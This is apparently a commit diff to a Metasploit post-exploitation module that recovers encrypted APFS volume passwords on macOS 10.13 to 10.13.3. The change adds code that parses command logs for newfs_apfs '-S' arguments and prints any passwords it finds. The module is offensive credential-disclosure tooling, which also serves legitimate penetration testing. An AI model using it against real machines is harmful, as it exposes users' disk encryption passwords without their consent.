Make final output more readable

GSoC/Meterpreter_Web_Console
thecarterb 2018-04-07 11:05:47 -04:00
parent 0806c0725f
commit 3f40f43609
1 changed files with 15 additions and 4 deletions

View File

@ -7,10 +7,10 @@ class MetasploitModule < Msf::Post
def initialize(info={}) def initialize(info={})
super(update_info(info, super(update_info(info,
'Name' => 'Mac OS X APFS Encrypted Volume Password Disclosure', 'Name' => 'Mac OS X APFS Encrypted Volume Password Disclosure',
'Description' => %q{ 'Description' => %q(
This module exploits a flaw in OSX 10.13 through 10.13.3 This module exploits a flaw in OSX 10.13 through 10.13.3
that discloses the passwords of encrypted APFS volumes. that discloses the passwords of encrypted APFS volumes.
}, ),
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
[ [
@ -19,7 +19,7 @@ class MetasploitModule < Msf::Post
], ],
'Platform' => 'osx', 'Platform' => 'osx',
'Arch' => ARCH_ALL 'Arch' => ARCH_ALL,
'Author' => [ 'Author' => [
'Sarah Edwards', # earliest public discovery 'Sarah Edwards', # earliest public discovery
'cbrnrd' # Metasploit module 'cbrnrd' # Metasploit module
@ -56,7 +56,18 @@ class MetasploitModule < Msf::Post
if results.empty? if results.empty?
print_error 'Got no response from target. Stopping...' print_error 'Got no response from target. Stopping...'
else else
print_good results successful_lines = 0
results.lines.each do |l|
s = l.split(' ')[11..-1].join # Just the command executed
next unless s =~ /newfs_apfs/ && s =~ /-S (.+)/
successful_lines += 1
ss = s.split(' ')
flagindex = ss.rindex('-S')
print_good "Password found: #{ss[flagindex + 1]}"
end
print_error "No password(s) found for any volumes. Exiting..." if successful_lines.zero?
end end
end end
end end